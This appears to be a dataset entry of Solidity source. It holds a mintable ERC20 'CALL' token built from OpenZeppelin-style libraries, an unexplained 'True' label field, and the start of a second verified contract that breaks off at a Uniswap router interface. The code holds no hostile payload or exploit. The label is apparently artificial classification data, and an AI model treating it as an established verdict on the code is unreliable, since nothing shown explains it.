function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
/**
* @dev Multiplies two numbers, throws on overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256 c) {
// Gas optimization: this is cheaper than asserting 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522
if (a == 0) {
return 0;
}
c = a * b;
assert(c / a == b);
return c;
}
/**
* @dev Integer division of two numbers, truncating the quotient.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
// uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return a / b;
}
/**
* @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
/**
* @dev Adds two numbers, throws on overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256 c) {
c = a + b;
assert(c >= a);
return c;
}
}
/**
* @title Basic token
* @dev Basic version of StandardToken, with no allowances.
*/
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
uint256 totalSupply_;
/**
* @dev total number of tokens in existence
*/
function totalSupply() public view returns (uint256) {
return totalSupply_;
}
/**
* @dev transfer token for a specified address
* @param _to The address to transfer to.
* @param _value The amount to be transferred.
*/
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
/**
* @dev Gets the balance of the specified address.
* @param _owner The address to query the the balance of.
* @return An uint256 representing the amount owned by the passed address.
*/
function balanceOf(address _owner) public view returns (uint256) {
return balances[_owner];
}
}
/**
* @title ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/20
*/
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender)
public view returns (uint256);
function transferFrom(address from, address to, uint256 value)
public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
/**
* @title Standard ERC20 token
*
* @dev Implementation of the basic standard token.
* @dev https://github.com/ethereum/EIPs/issues/20
* @dev Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol
*/
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
/**
* @dev Transfer tokens from one address to another
* @param _from address The address which you want to send tokens from
* @param _to address The address which you want to transfer to
* @param _value uint256 the amount of tokens to be transferred
*/
function transferFrom(
address _from,
address _to,
uint256 _value
)
public
returns (bool)
{
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
/**
* @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender.
*
* Beware that changing an allowance with this method brings the risk that someone may use both the old
* and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this
* race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
* @param _spender The address which will spend the funds.
* @param _value The amount of tokens to be spent.
*/
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
/**
* @dev Function to check the amount of tokens that an owner allowed to a spender.
* @param _owner address The address which owns the funds.
* @param _spender address The address which will spend the funds.
* @return A uint256 specifying the amount of tokens still available for the spender.
*/
function allowance(
address _owner,
address _spender
)
public
view
returns (uint256)
{
return allowed[_owner][_spender];
}
/**
* @dev Increase the amount of tokens that an owner allowed to a spender.
*
* approve should be called when allowed[_spender] == 0. To increment
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param _spender The address which will spend the funds.
* @param _addedValue The amount of tokens to increase the allowance by.
*/
function increaseApproval(
address _spender,
uint _addedValue
)
public
returns (bool)
{
allowed[msg.sender][_spender] = (
allowed[msg.sender][_spender].add(_addedValue));
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
/**
* @dev Decrease the amount of tokens that an owner allowed to a spender.
*
* approve should be called when allowed[_spender] == 0. To decrement
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param _spender The address which will spend the funds.
* @param _subtractedValue The amount of tokens to decrease the allowance by.
*/
function decreaseApproval(
address _spender,
uint _subtractedValue
)
public
returns (bool)
{
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
/**
* @title Ownable
* @dev The Ownable contract has an owner address, and provides basic authorization control
* functions, this simplifies the implementation of "user permissions".
*/
contract Ownable {
address public owner;
event OwnershipRenounced(address indexed previousOwner);
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
constructor() public {
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/**
* @dev Allows the current owner to relinquish control of the contract.
*/
function renounceOwnership() public onlyOwner {
emit OwnershipRenounced(owner);
owner = address(0);
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param _newOwner The address to transfer ownership to.
*/
function transferOwnership(address _newOwner) public onlyOwner {
_transferOwnership(_newOwner);
}
/**
* @dev Transfers control of the contract to a newOwner.
* @param _newOwner The address to transfer ownership to.
*/
function _transferOwnership(address _newOwner) internal {
require(_newOwner != address(0));
emit OwnershipTransferred(owner, _newOwner);
owner = _newOwner;
}
}
/**
* @title Mintable token
* @dev Simple ERC20 Token example, with mintable token creation
* @dev Issue: * https://github.com/OpenZeppelin/openzeppelin-solidity/issues/120
* Based on code by TokenMarketNet: https://github.com/TokenMarketNet/ico/blob/master/contracts/MintableToken.sol
*/
contract MintableToken is StandardToken, Ownable {
event Mint(address indexed to, uint256 amount);
event MintFinished();
bool public mintingFinished = false;
modifier canMint() {
require(!mintingFinished);
_;
}
modifier hasMintPermission() {
require(msg.sender == owner);
_;
}
/**
* @dev Function to mint tokens
* @param _to The address that will receive the minted tokens.
* @param _amount The amount of tokens to mint.
* @return A boolean that indicates if the operation was successful.
*/
function mint(
address _to,
uint256 _amount
)
hasMintPermission
canMint
public
returns (bool)
{
totalSupply_ = totalSupply_.add(_amount);
balances[_to] = balances[_to].add(_amount);
emit Mint(_to, _amount);
emit Transfer(address(0), _to, _amount);
return true;
}
/**
* @dev Function to stop minting new tokens.
* @return True if the operation was successful.
*/
function finishMinting() onlyOwner canMint public returns (bool) {
mintingFinished = true;
emit MintFinished();
return true;
}
}
/**
* @title CAPITAL (CALL) Token
* @dev Token representing CALL.
*/
contract CALLToken is MintableToken {
string public name = "CAPITAL";
string public symbol = "CALL";
uint8 public decimals = 18;
} | True | [
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/**
*Submitted for verification at Etherscan.io on 2021-05-10
*/
// SPDX-License-Identifier: BSD-3-Clause
pragma solidity 0.6.11;
/**
* @dev Wrappers over Solidity's arithmetic operations with added overflow
* checks.
*
* Arithmetic operations in Solidity wrap on overflow. This can easily result
* in bugs, because programmers usually assume that an overflow raises an
* error, which is the standard behavior in high level programming languages.
* `SafeMath` restores this intuition by reverting the transaction when an
* operation overflows.
*
* Using this library instead of the unchecked operations eliminates an entire
* class of bugs, so it's recommended to use it always.
*/
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) {
uint256 c = a + b;
if (c < a) return (false, 0);
return (true, c);
}
/**
* @dev Returns the substraction of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) {
if (b > a) return (false, 0);
return (true, a - b);
}
/**
* @dev Returns the multiplication of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) return (true, 0);
uint256 c = a * b;
if (c / a != b) return (false, 0);
return (true, c);
}
/**
* @dev Returns the division of two unsigned integers, with a division by zero flag.
*
* _Available since v3.4._
*/
function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) {
if (b == 0) return (false, 0);
return (true, a / b);
}
/**
* @dev Returns the remainder of dividing two unsigned integers, with a division by zero flag.
*
* _Available since v3.4._
*/
function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) {
if (b == 0) return (false, 0);
return (true, a % b);
}
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a, "SafeMath: subtraction overflow");
return a - b;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) return 0;
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers, reverting on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0, "SafeMath: division by zero");
return a / b;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* reverting when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0, "SafeMath: modulo by zero");
return a % b;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* CAUTION: This function is deprecated because it requires allocating memory for the error
* message unnecessarily. For custom revert reasons use {trySub}.
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
return a - b;
}
/**
* @dev Returns the integer division of two unsigned integers, reverting with custom message on
* division by zero. The result is rounded towards zero.
*
* CAUTION: This function is deprecated because it requires allocating memory for the error
* message unnecessarily. For custom revert reasons use {tryDiv}.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
return a / b;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* reverting with custom message when dividing by zero.
*
* CAUTION: This function is deprecated because it requires allocating memory for the error
* message unnecessarily. For custom revert reasons use {tryMod}.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
return a % b;
}
}
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
// solhint-disable-next-line no-inline-assembly
assembly { size := extcodesize(account) }
return size > 0;
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain`call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: value }(data);
return _verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.staticcall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.delegatecall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
/**
* @title SafeERC20
* @dev Wrappers around ERC20 operations that throw on failure (when the token
* contract returns false). Tokens that return no value (and instead revert or
* throw on failure) are also supported, non-reverting calls are assumed to be
* successful.
* To use this library you can add a `using SafeERC20 for IERC20;` statement to your contract,
* which allows you to call the safe operations as `token.safeTransfer(...)`, etc.
*/
library SafeERC20 {
using SafeMath for uint256;
using Address for address;
function safeTransfer(IERC20 token, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
/**
* @dev Deprecated. This function has issues similar to the ones found in
* {IERC20-approve}, and its usage is discouraged.
*
* Whenever possible, use {safeIncreaseAllowance} and
* {safeDecreaseAllowance} instead.
*/
function safeApprove(IERC20 token, address spender, uint256 value) internal {
// safeApprove should only be called when setting an initial allowance,
// or when resetting it to zero. To increase and decrease it, use
// 'safeIncreaseAllowance' and 'safeDecreaseAllowance'
// solhint-disable-next-line max-line-length
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).add(value);
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).sub(value, "SafeERC20: decreased allowance below zero");
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
/**
* @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement
* on the return value: the return value is optional (but if data is returned, it must not be false).
* @param token The token targeted by the call.
* @param data The call data (encoded using abi.encode or one of its variants).
*/
function _callOptionalReturn(IERC20 token, bytes memory data) private {
// We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since
// we're implementing it ourselves. We use {Address.functionCall} to perform this call, which verifies that
// the target address contains contract code and also asserts for success in the low-level call.
bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed");
if (returndata.length > 0) { // Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
/**
* @dev Library for managing
* https://en.wikipedia.org/wiki/Set_(abstract_data_type)[sets] of primitive
* types.
*
* Sets have the following properties:
*
* - Elements are added, removed, and checked for existence in constant time
* (O(1)).
* - Elements are enumerated in O(n). No guarantees are made on the ordering.
*
* ```
* contract Example {
* // Add the library methods
* using EnumerableSet for EnumerableSet.AddressSet;
*
* // Declare a set state variable
* EnumerableSet.AddressSet private mySet;
* }
* ```
*
* As of v3.3.0, sets of type `bytes32` (`Bytes32Set`), `address` (`AddressSet`)
* and `uint256` (`UintSet`) are supported.
*/
library EnumerableSet {
// To implement this library for multiple types with as little code
// repetition as possible, we write it in terms of a generic Set type with
// bytes32 values.
// The Set implementation uses private functions, and user-facing
// implementations (such as AddressSet) are just wrappers around the
// underlying Set.
// This means that we can only create new EnumerableSets for types that fit
// in bytes32.
struct Set {
// Storage of set values
bytes32[] _values;
// Position of the value in the `values` array, plus 1 because index 0
// means a value is not in the set.
mapping (bytes32 => uint256) _indexes;
}
/**
* @dev Add a value to a set. O(1).
*
* Returns true if the value was added to the set, that is if it was not
* already present.
*/
function _add(Set storage set, bytes32 value) private returns (bool) {
if (!_contains(set, value)) {
set._values.push(value);
// The value is stored at length-1, but we add 1 to all indexes
// and use 0 as a sentinel value
set._indexes[value] = set._values.length;
return true;
} else {
return false;
}
}
/**
* @dev Removes a value from a set. O(1).
*
* Returns true if the value was removed from the set, that is if it was
* present.
*/
function _remove(Set storage set, bytes32 value) private returns (bool) {
// We read and store the value's index to prevent multiple reads from the same storage slot
uint256 valueIndex = set._indexes[value];
if (valueIndex != 0) { // Equivalent to contains(set, value)
// To delete an element from the _values array in O(1), we swap the element to delete with the last one in
// the array, and then remove the last element (sometimes called as 'swap and pop').
// This modifies the order of the array, as noted in {at}.
uint256 toDeleteIndex = valueIndex - 1;
uint256 lastIndex = set._values.length - 1;
// When the value to delete is the last one, the swap operation is unnecessary. However, since this occurs
// so rarely, we still do the swap anyway to avoid the gas cost of adding an 'if' statement.
bytes32 lastvalue = set._values[lastIndex];
// Move the last value to the index where the value to delete is
set._values[toDeleteIndex] = lastvalue;
// Update the index for the moved value
set._indexes[lastvalue] = toDeleteIndex + 1; // All indexes are 1-based
// Delete the slot where the moved value was stored
set._values.pop();
// Delete the index for the deleted slot
delete set._indexes[value];
return true;
} else {
return false;
}
}
/**
* @dev Returns true if the value is in the set. O(1).
*/
function _contains(Set storage set, bytes32 value) private view returns (bool) {
return set._indexes[value] != 0;
}
/**
* @dev Returns the number of values on the set. O(1).
*/
function _length(Set storage set) private view returns (uint256) {
return set._values.length;
}
/**
* @dev Returns the value stored at position `index` in the set. O(1).
*
* Note that there are no guarantees on the ordering of values inside the
* array, and it may change when more values are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function _at(Set storage set, uint256 index) private view returns (bytes32) {
require(set._values.length > index, "EnumerableSet: index out of bounds");
return set._values[index];
}
// Bytes32Set
struct Bytes32Set {
Set _inner;
}
/**
* @dev Add a value to a set. O(1).
*
* Returns true if the value was added to the set, that is if it was not
* already present.
*/
function add(Bytes32Set storage set, bytes32 value) internal returns (bool) {
return _add(set._inner, value);
}
/**
* @dev Removes a value from a set. O(1).
*
* Returns true if the value was removed from the set, that is if it was
* present.
*/
function remove(Bytes32Set storage set, bytes32 value) internal returns (bool) {
return _remove(set._inner, value);
}
/**
* @dev Returns true if the value is in the set. O(1).
*/
function contains(Bytes32Set storage set, bytes32 value) internal view returns (bool) {
return _contains(set._inner, value);
}
/**
* @dev Returns the number of values in the set. O(1).
*/
function length(Bytes32Set storage set) internal view returns (uint256) {
return _length(set._inner);
}
/**
* @dev Returns the value stored at position `index` in the set. O(1).
*
* Note that there are no guarantees on the ordering of values inside the
* array, and it may change when more values are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function at(Bytes32Set storage set, uint256 index) internal view returns (bytes32) {
return _at(set._inner, index);
}
// AddressSet
struct AddressSet {
Set _inner;
}
/**
* @dev Add a value to a set. O(1).
*
* Returns true if the value was added to the set, that is if it was not
* already present.
*/
function add(AddressSet storage set, address value) internal returns (bool) {
return _add(set._inner, bytes32(uint256(uint160(value))));
}
/**
* @dev Removes a value from a set. O(1).
*
* Returns true if the value was removed from the set, that is if it was
* present.
*/
function remove(AddressSet storage set, address value) internal returns (bool) {
return _remove(set._inner, bytes32(uint256(uint160(value))));
}
/**
* @dev Returns true if the value is in the set. O(1).
*/
function contains(AddressSet storage set, address value) internal view returns (bool) {
return _contains(set._inner, bytes32(uint256(uint160(value))));
}
/**
* @dev Returns the number of values in the set. O(1).
*/
function length(AddressSet storage set) internal view returns (uint256) {
return _length(set._inner);
}
/**
* @dev Returns the value stored at position `index` in the set. O(1).
*
* Note that there are no guarantees on the ordering of values inside the
* array, and it may change when more values are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function at(AddressSet storage set, uint256 index) internal view returns (address) {
return address(uint160(uint256(_at(set._inner, index))));
}
// UintSet
struct UintSet {
Set _inner;
}
/**
* @dev Add a value to a set. O(1).
*
* Returns true if the value was added to the set, that is if it was not
* already present.
*/
function add(UintSet storage set, uint256 value) internal returns (bool) {
return _add(set._inner, bytes32(value));
}
/**
* @dev Removes a value from a set. O(1).
*
* Returns true if the value was removed from the set, that is if it was
* present.
*/
function remove(UintSet storage set, uint256 value) internal returns (bool) {
return _remove(set._inner, bytes32(value));
}
/**
* @dev Returns true if the value is in the set. O(1).
*/
function contains(UintSet storage set, uint256 value) internal view returns (bool) {
return _contains(set._inner, bytes32(value));
}
/**
* @dev Returns the number of values on the set. O(1).
*/
function length(UintSet storage set) internal view returns (uint256) {
return _length(set._inner);
}
/**
* @dev Returns the value stored at position `index` in the set. O(1).
*
* Note that there are no guarantees on the ordering of values inside the
* array, and it may change when more values are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function at(UintSet storage set, uint256 index) internal view returns (uint256) {
return uint256(_at(set._inner, index));
}
}
/*
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with GSN meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor () internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view virtual returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
interface IUniswapV2Router01 {
